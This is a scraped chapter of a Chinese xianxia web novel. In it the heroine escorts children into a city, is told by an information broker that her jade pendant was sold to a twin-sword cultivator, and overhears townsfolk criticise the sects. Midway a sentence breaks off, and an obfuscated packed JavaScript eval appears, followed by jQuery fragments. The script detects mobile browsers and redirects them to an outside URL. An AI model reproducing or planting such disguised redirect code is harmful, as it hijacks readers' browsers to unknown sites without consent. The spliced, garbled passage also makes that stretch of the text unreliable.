默认冷灰
24号文字
方正启体

12. 错过

作者:虚构氦闪本书字数:K更新时间:
    元婴强者就这么轻飘飘地死了?在这突如其来的变故面前,所有人都有些迷茫。


    难道是易姓男子的剑?温泠淼瞳孔缓缓放大,适应了只有一个太阳的黑暗,却再捉不到那道藏在耀眼剑芒后的身影,好似那一剑不过是幻觉般,她顾不得眼痛,目光再动,又看灰衣剑客身影还远在战场百里之外,显然也愣住了,垂着剑,一动不动。


    不是他,温泠淼狠狠一眯眼,虽她对这些强者一无所知,但本能地察觉到,那剑瞬间的气息,比易姓男子强了不知多少。


    莫非是那幕后推手?事情真是越来越有趣。难怪这人能隔岸观火,按兵不动许久,看来还是留了最后一手。她摸摸下巴,不知为何,总觉得有些可疑,怀着如此战力,他却不一剑直接把琉璃楼砍了,还要做这些弯弯绕绕。是用了秘法无法长时间维系吗,还是施展这招需要些条件?


    温泠淼怀中的楚刀也探出了头,她方才看到的不多,却也感受到天上那如太阳垂落的气息,满心满眼都是震撼,喃喃叹道:


    “我什么时候也能这么强就好了,不对,我才不要用剑。”


    温泠淼把楚刀按回怀中,又等了小半炷香的时间,待确认东方琉璃真陨落了,琉璃楼残余战力逃的逃,死的死,战况终于接近真正的尾声后。才扶她们站起,背上左槐,领着孩子们往城中走去。她将千般思绪压下,心中叹一句小孩还是不知道这些的好,便顺楚刀的话问道:“为什么不喜欢剑。”


    楚刀跟在她身后走着,闻言,却不知为何情绪有些低落。“剑太正义了,切,谁要当那种守一堆规矩的君子,打架前还要纠结来纠结去的。他们还喜欢说什么剑心,剑道,麻烦得很。刀就很简单,只管杀,只管凶,只管变强就好了。”


    她声音忽然低了下来,“何况,我太软弱愚钝,早就不是个君子了。”


    “傻孩子。”温泠淼自然知道她还在纠结什么,不去看她撇下的眉眼,边走边望向前方那座在归一万法阵笼罩下,永久安宁繁华的城池,静静道:“刀啊剑啊,都不过是经人手的兵器罢了,你要真去看它,至多也就一个单刃,一个双刃的差别,使用者的心,才是它们的心。”


    楚刀本想说你个连魂契和储物戒都不知的人懂什么,那些灵剑自我意识可丰富可刁钻了,一旦剑心不纯粹,道义不合,就能让你拔都拔不出来。可是话溜到嘴边,她抬头看到温泠淼平静而含着无人可左右的意志,直视远方的眼,又忽然咽了下去。也许,她说的也没有错。


    “你要真在意这些形而上的东西,那也可以说剑是双刃,伤人,也考验自己。但刀只有单刃,永远向外,一往无前。你既然叫刀,那便只需坚定自我,一直向前就好。”温泠淼讲着讲着却自嘲地笑了。也罢,她一个异界来客,哪能用自己都没想清楚的事带坏土著小朋友呢。


    楚刀似懂非懂地点头,虽然她不知形而上是什么意思,但一往无前她懂,她脑中又浮现那天边耀眼的一剑,心中暗想,要是她能一直变强,比这一剑都强,那她便能保护所有她爱惜的事物,不会再落入什么两难境地。


    许是大战已了,一行人再没遇上什么麻烦,顺利到了南门。城墙内外人头攒动,不少在这一夜失了亲友,家园被毁的人也想逃难入城,在门口排起长队。这群衣衫褴褛的小娃娃在其中甚至毫不起眼,只等候了一炷香的时间,便被放行入城中。


    一进归一万法阵所在的区域,温泠淼便长长松了口气,再四下一看,不少人都有相似的动作,不由会心一笑。她和楚刀的交易也到此结束,孩子们欢呼着四散离去,只有楚刀楚盈两姐妹因与她的约定,留在了身边。第一次见这人世喧闹景象的二人都瞪直了眼,生怕在眨眼的一瞬就错过了什么好景。


    由于阵法相护,外头争斗的余波攻不入城内,城中人流如织,热闹依旧。除却多了不少外来者,与平日没什么不同。不过若细看便能发现街头巷尾,贩夫走卒都在议论纷纷,对着城外一战品头论足。


    温泠淼在城南中部好不容易找到一间尚未被外来者占满的客栈,开了间客房将左槐放下。惦念着他的伤势,温泠淼将两姐妹留在房中守着他,而后马不停蹄地向言刀赶去。她翻起兜帽,把脸藏在了阴影中,将手伸进口袋,摸了摸那枚储物戒。虽然她不太舍得,但应够问到药师的消息,或许还有机会换回那枚玉佩。


    等她再赶到言刀楼下,却见门内人来人往,一扫此前的冷清,就连门前那座挂满风铃的红木架子处也聚了数十人,他们翻动着其上的短册,议论纷纷,神态各异。


    温泠淼跟着人潮钻入店内,就见光是穿着言刀制服的侍者便足有五位,每人前面都排起长龙,可谓应接不暇,其中却不见燕昼身影。她目光隐晦地往楼上看去,楼梯上也挤满了上下穿行的人。果然城中势力,无论大小,都对这场好戏表露出十足的好奇,温泠淼将脸又往兜帽深处藏了藏,人多不是好事,万一有人不长眼看上了那枚玉佩呢。


    还没等她找到燕昼那张永远带笑的脸,左肩却先是一沉,温泠淼侧目看去,就见那里不知何时停了一只滚圆的黄口麻雀。见她探究的目光扫来,麻雀小嘴一张,竟是口吐人言道:“客官您终于来了,请前往二楼戊号房,燕某在此诚挚等侯。”


    肥雀说完话后,振翅一跃,先一步顺楼梯飞上了二层,像有意引导的样子,温泠淼微微挑眉,循着它的踪迹,进了熟悉的石室中。


    那只宛如球上插了两跟牙签的肥麻雀最终落在室中人手上,温泠淼看去,却见熟悉的温润青年此刻正脚踩一张抹布,优雅地擦着地上不明血迹,俊秀的面上还挂着那副如沐春风的笑,只是微微抽动的眉毛暴露了他的不耐烦,还有一丝认命。


    在接回麻雀的一瞬,他另一只手温柔抚上它脊背,待燕昼再将手移开,其后竟空无一物,麻雀不见踪影。而后他抬眼看向温泠淼,轻巧做了个手势,石室门便轰然合上。


    做好一切后,他慢条斯理地把抹布藏起,换上狐狸般的笑容,向她示意:“坐。”


    目睹一切的温泠淼只觉眼皮有点跳,但她已能对言刀内的一切古怪接受良好,她一落座,便单刀直入问道:“我来取回玉佩,你开价,还有,我要这外城最好的丹修或药师的消息。”


    她声音刻意压得极低,嘶哑难听,配着斗篷上大片干涸血迹,看着格外骇人。


    闻言,燕昼先给她身前的盖碗沏上滚水,这次是古树红茶,滚水一入杯,丰腴的花果香便扑鼻而来。他风雅又精细地做着洗茶的活,面上却带了虚伪的歉意,垂眼道:”哎呀,客官来得真是不巧,那枚玉佩在一刻前便以三百枚灵石的价格卖出去了。”


    温泠淼一愣,简直不敢相信自己的耳朵,三百灵石,换一块凡石?哪个败家子疯了,还是忽然通货膨胀了。要知道这个钱,她现在都拿不出来。


    难道那些情报的真实价格就是三百灵石,而言刀早算到会有冤大头上钩,所以当初给她提的代价是这个?可是她想破脑袋都不知那玉佩何德何能值这个价。


    她勉强定了定神,沉声道,“可否要这购买玉佩之人的消息?”


    “对不住客官。”燕昼将茶碗推到温泠淼身前,面露难色道。“我们言刀从不会出卖客人的消息。”


    温泠淼起身要走,指尖连茶碗都没碰一下。燕昼又忙换上灿烂的笑容,搓搓手道,“客官别急,这次的客人比较特殊,没要求保密交易。因此燕某虽能说的不多,却可在言刀规矩范围内向客官透露两件事。”


    “其一,那位客人是男性。”燕昼想起一刻前还在房中的身影,不自觉牙痒,笑得更为灿烂,但旁人怎么看怎么觉得有些狰狞。说到底,他被丢来这小地方有那人三分助力,没想到好不容易再见,不陪罪就算了,还一副死人脸把他最爱的待客室弄得到处血渍,也就怪不得他多嘴了。“其二,他腰上挂了两把剑,一黑一白。应该是剑修。”


    温泠淼脸色彻底黑了下去,还以为他藏了什么大秘密,这世界上一半人类是男性,修道的七成为剑修,燕昼这话虽真,但说了和没说一样。


    但她心中却有些奇怪之感,选择不保密,未免太刻意了些。是自信于这等小事不会有人追究吗,还是认识玉佩原主,想要留下一缕信息呢?后者的概率如此之小,有这个可能吗?


    可惜,她未能继承原身的记忆,也无法从书中得知原身这个早死龙套的信息,不知她认识何人,关系如何。温泠淼不动声色地浅酌一口茶,云雾蒸腾而起,掩了她眼中光芒变幻。唯一见过面想起些东西的人,只有原身的道侣了。


    是他吗?若这玉佩对二人有极深的意义,那豪掷三百灵石也并非不可能。温泠淼细细将记忆过了一遍,不,应该不是,她在山上虽离得远,但还是看到了他腰间只一把玄黑的单剑。况且在原书中他用的也是单剑,从未换过。


    虽然她没经历过,不理解,但按小说设定,修士一般不会轻易更改自己的惯用武器,特别是剑修换剑,轻则战力大打折扣,重则剑心受损,无法再持剑。因为对剑修而言,选定了一把剑,便是选定了自己的心和道,要一生坚持,贯彻始终,也难怪楚刀会说剑修麻烦。更何况是单剑换双剑,几乎是闻所未闻。


    罢了,这些天在城中留意便是,修仙界少有修双剑的,还是一黑一白两剑,该有人见过且能记住他。温泠淼将茶碗轻轻搁下,垂了眼,藏住里面生出的一丝惋惜,随后唇角勾了个自嘲的弧度,或许,她同那块石头的缘,就到此为止了。


    再次谢谢你,凌泠,对不起。


    最后,在燕昼的死缠烂打下,温泠淼忍痛花五十两银子委托他请外城最好的药师上客栈看病三日。这世界的医疗发展相当落后,修士恢复基本靠灵力,灵力修不了的吃丹药。若要仔细些说,丹药分为丹和药两种,前者,就算是最低阶的丹丸,也是有价无市。


    由于丹修成丹品阶与实力挂钩


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413788|200728||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,因此丹修必然是修士,且培养丹修需大量的药材和传承,一般非大宗门大世家无法支撑,因此丹修基本上只出于大势力,并终身为其服务。而这些丹修的产出已基本上被垄断,鲜少有通过层层封锁漏到平民散修手里的,就算有,也会被炒到天价。


    王麻子那些丹丸应该是仰仗琉璃楼获取而来。温泠淼也不是没动过花钱买丹的心思,但苦于找不到门路。传言第三城外城有位专为平民散修炼丹的素心仙子,温泠淼向燕昼一问,排期也到了十日之后,而这个时间,她和左槐都等不起。


    丹修之下是药师,药师可通过调配低等级的灵草以制灵药,灵药药力虽不如丹丸精纯,却也足以应付一般低阶修士和凡人的伤病。最重要的是,药师不需修炼,懂药性即可。而药性,是可通过书籍和师传学习的,因此药师人口基数不少,多数人的小伤小病都倚仗他们。


    走之前,温泠淼犹豫再三,还是试探地问是否有昨夜事变相关情报,燕昼却是笑盈盈地说去看百铃墙上的公共消息即可。


    “您算是距离战场最近的幸存者之一,燕某虽相信客官本事,昨夜还是忍不住向司命上神祈祷良久,生怕今日无法再见客官呢。您这么聪明,若要您都不知的东西,代价便不是很容易支付了。”燕昼话音温和,但总有些难明的意味。“况且有些好戏,远远看着舒心,以客官目前的实力,探究得太深,未必是件好事。”


    “多谢。”温泠淼自动过滤他话里那分阴阳怪气味道,言刀的忠告总有些道理,燕昼这么说,她也不会不识好歹。


    她起身告辞,随后下了楼,悄然挤入百铃墙前的人群中,向人聚得最多的风铃看去。


    果然,短册上是城主府发的消息。大致向城内外被无端波及的百姓解释了来龙去脉,说是与琉璃楼有私人恩怨的义士在潜入其中后,发现楼主东方琉璃最近宠幸颇多的男宠身份竟是魔族,并暗中布设八重噬阵妄想暗中侵蚀归一万法阵。


    义士一怒之下杀死男宠后逃回第三城内,冲破琉璃楼阻拦,上报城主府。城主府故而联合为宗门大选而来的上三宗使者前去夜袭琉璃楼,并将东方琉璃就地斩杀。如今已把琉璃楼残余势力铲除干净。


    温泠淼眼习惯性眯起,按理说这消息虽是由城主府颁布,但能上百铃墙,也会经言刀的核验,证明其所述无假。


    不过她总觉得有些疑点,部分的真话亦有巧言令色的空间。例如她隐约感到,这消息在把读者往刺客是临时起意上引导,但据她所知,刺客实力逊于东方琉璃等高层,要在他们眼皮底下独杀一人,非事前谋算不能成。


    算了,燕昼说得对,她现在的实力,还不好去触碰这些背后的暗流。但她总控制不住为有趣的事多思考几步的癖好。温泠淼从短册上移开目光,正欲从人群中挤出,却敏锐地在一片私语声中捕捉到了不和谐的东西。


    “嗐,城主府这帮狗东西说的好听,实际上早就和琉璃楼蛇鼠一窝,哪里劝得动哦。我听说是那义士血谏城主府时,上三宗长老正好也在府上,我们那乖乖城主让人家把家丑听了个遍,才不得不出来做做样子。”


    这声音听着像来自中年男性,还带了长期烟酒熏出的呕哑,其中并未感知到灵力波动,说话者该是凡人。温泠淼停住脚步,装作回头去看百铃墙上的消息,兜帽下的耳朵却竖了起来。


    “呸,白老弟,你别以为上三宗是什么好东西,我听说当时晞月和咸池都不愿动,只有渊山的长老把他们这群缩头王八锤了个遍,才把他们不情不愿地锤上了战场。”


    “这些修士大老爷们从来懒得管咱平头老百姓的死活,归一万法阵要破,你以为他们会在意,反正他们有能耐,早不知逃哪去了,倒霉的只有咱这些没法子修炼的。”另一道中年男性声音加入,听着高亢又尖酸,“要我说,若不是渊山的钧天半仙压着,他们巴不得这阵破呢。唉,也就渊山还惦记着咱们了,听说归一万法阵也是这钧天半仙千年前设的,你说她要知道心血被这些尸位素餐的家伙践踏,还不得气死。”


    “嘿,我就奇怪了,”一青年男性的声音插进,打断二人慷慨激昂的讨伐,“他们修士讲话都拿什么阵法什么传音藏着噎着的,你们怎么说得像扒人床底下听的一样。”


    看来指点江山者无处不在,就算是修仙界也不能免俗,温泠淼眉头一挑,但这几人说的也给她提供了一些思路,宗门施压在这场好戏中或许重量不小。


    而且,他们这些一分真,九分假的话至少透露了在宗门那边,情况也并不乐观。多年的太平里,一些宗门的形象早已在民众心中腐烂。


    腐烂并非没有来由,长久缺乏外部危机,必然会滋长骄纵和怠惰。但至少还有渊山,巍巍峨如太岳,身为最纯粹正直的万宗之首,千百年来,风度依然。


    温泠淼神色一瞬晦暗难明,她低笑一声,转身离去。渊山吗,若她是十几岁出头的少年人,她会信,可惜她不是。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)